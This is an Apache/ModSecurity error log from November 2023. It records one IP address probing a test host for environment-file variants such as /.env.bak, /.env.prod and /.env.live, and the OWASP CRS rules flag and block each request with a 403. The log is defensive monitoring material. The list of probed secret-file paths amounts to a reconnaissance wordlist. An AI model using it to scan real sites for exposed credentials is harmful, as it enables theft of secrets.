[Sun Nov 05 15:58:49.187091 2023] [:error] [pid 2945347] [client 13.238.182.129:39422] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;ZUetqTDT8nMuo9EfqVECgAAAAAE&quot;]
[Sun Nov 05 15:58:49.187253 2023] [:error] [pid 2945347] [client 13.238.182.129:39422] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;ZUetqTDT8nMuo9EfqVECgAAAAAE&quot;]
[Sun Nov 05 15:58:50.141900 2023] [:error] [pid 2945348] [client 13.238.182.129:39434] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;ZUetqq54h8K8yKXmm046MAAAAAI&quot;]
[Sun Nov 05 15:58:50.142135 2023] [:error] [pid 2945348] [client 13.238.182.129:39434] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;ZUetqq54h8K8yKXmm046MAAAAAI&quot;]
[Sun Nov 05 15:58:50.142303 2023] [:error] [pid 2945348] [client 13.238.182.129:39434] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;ZUetqq54h8K8yKXmm046MAAAAAI&quot;]
[Sun Nov 05 15:58:52.654335 2023] [:error] [pid 2953480] [client 13.238.182.129:39188] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;ZUetrOyxlz8CqQghNzVKzAAAAAo&quot;]
[Sun Nov 05 15:58:52.654557 2023] [:error] [pid 2953480] [client 13.238.182.129:39188] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;ZUetrOyxlz8CqQghNzVKzAAAAAo&quot;]
[Sun Nov 05 15:58:52.654705 2023] [:error] [pid 2953480] [client 13.238.182.129:39188] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;ZUetrOyxlz8CqQghNzVKzAAAAAo&quot;]
[Sun Nov 05 15:58:55.443161 2023] [:error] [pid 2945350] [client 13.238.182.129:39192] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;ZUetr07FHveku4ctlxRlUgAAAAQ&quot;]
[Sun Nov 05 15:58:55.443385 2023] [:error] [pid 2945350] [client 13.238.182.129:39192] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;ZUetr07FHveku4ctlxRlUgAAAAQ&quot;]
[Sun Nov 05 15:58:55.443584 2023] [:error] [pid 2945350] [client 13.238.182.129:39192] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;ZUetr07FHveku4ctlxRlUgAAAAQ&quot;]
[Sun Nov 05 15:58:56.402428 2023] [:error] [pid 2947462] [client 13.238.182.129:39204] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;ZUetsPmCwGyt19di1WEBJAAAAAY&quot;]
[Sun Nov 05 15:58:56.402652 2023] [:error] [pid 2947462] [client 13.238.182.129:39204] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;ZUetsPmCwGyt19di1WEBJAAAAAY&quot;]
[Sun Nov 05 15:58:56.402808 2023] [:error] [pid 2947462] [client 13.238.182.129:39204] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;ZUetsPmCwGyt19di1WEBJAAAAAY&quot;]
[Sun Nov 05 15:58:59.497340 2023] [:error] [pid 2945349] [client 13.238.182.129:39218] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;ZUets0rTDH-WNbmIHqbDEQAAAAM&quot;]
[Sun Nov 05 15:58:59.497558 2023] [:error] [pid 2945349] [client 13.238.182.129:39218] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;ZUets0rTDH-WNbmIHqbDEQAAAAM&quot;]
[Sun Nov 05 15:58:59.497740 2023] [:error] [pid 2945349] [client 13.238.182.129:39218] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;ZUets0rTDH-WNbmIHqbDEQAAAAM&quot;]
[Sun Nov 05 15:59:00.450626 2023] [:error] [pid 2953478] [client 13.238.182.129:39234] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZUettNtLKgISucRyj21FUgAAAAg&quot;]
[Sun Nov 05 15:59:00.459263 2023] [:error] [pid 2953478] [client 13.238.182.129:39234] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZUettNtLKgISucRyj21FUgAAAAg&quot;]
[Sun Nov 05 15:59:00.459431 2023] [:error] [pid 2953478] [client 13.238.182.129:39234] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZUettNtLKgISucRyj21FUgAAAAg&quot;]
[Sun Nov 05 15:59:03.931659 2023] [:error] [pid 2945346] [client 13.238.182.129:43998] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;ZUett0Lxtgn9b120wAzh3gAAAAA&quot;]
[Sun Nov 05 15:59:03.931885 2023] [:error] [pid 2945346] [client 13.238.182.129:43998] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;ZUett0Lxtgn9b120wAzh3gAAAAA&quot;]
[Sun Nov 05 15:59:03.932042 2023] [:error] [pid 2945346] [client 13.238.182.129:43998] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;ZUett0Lxtgn9b120wAzh3gAAAAA&quot;]
[Sun Nov 05 15:59:05.031019 2023] [:error] [pid 2953479] [client 13.238.182.129:44010] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;ZUetuciyITV8IjJ-hgGdYwAAAAk&quot;]
[Sun Nov 05 15:59:05.031235 2023] [:error] [pid 2953479] [client 13.238.182.129:44010] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;ZUetuciyITV8IjJ-hgGdYwAAAAk&quot;]
[Sun Nov 05 15:59:05.031387 2023] [:error] [pid 2953479] [client 13.238.182.129:44010] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;ZUetuciyITV8IjJ-hgGdYwAAAAk&quot;]
[Sun Nov 05 15:59:06.032590 2023] [:error] [pid 2949694] [client 13.238.182.129:44012] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;ZUetuio0qVGOtryXpL2hpwAAAAc&quot;]
[Sun Nov 05 15:59:06.032810 2023] [:error] [pid 2949694] [client 13.238.182.129:44012] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;ZUetuio0qVGOtryXpL2hpwAAAAc&quot;]
[Sun Nov 05 15:59:06.032978 2023] [:error] [pid 2949694] [client 13.238.182.129:44012] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;ZUetuio0qVGOtryXpL2hpwAAAAc&quot;]
[Sun Nov 05 15:59:07.354477 2023] [:error] [pid 2945347] [client 13.238.182.129:44028] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;ZUetuzDT8nMuo9EfqVECgQAAAAE&quot;]
[Sun Nov 05 15:59:07.354704 2023] [:error] [pid 2945347] [client 13.238.182.129:44028] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;ZUetuzDT8nMuo9EfqVECgQAAAAE&quot;]
[Sun Nov 05 15:59:07.354852 2023] [:error] [pid 2945347] [client 13.238.182.129:44028] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;ZUetuzDT8nMuo9EfqVECgQAAAAE&quot;]
[Sun Nov 05 15:59:08.648866 2023] [:error] [pid 2945348] [client 13.238.182.129:44032] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.live&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;ZUetvK54h8K8yKXmm046MQAAAAI&quot;]
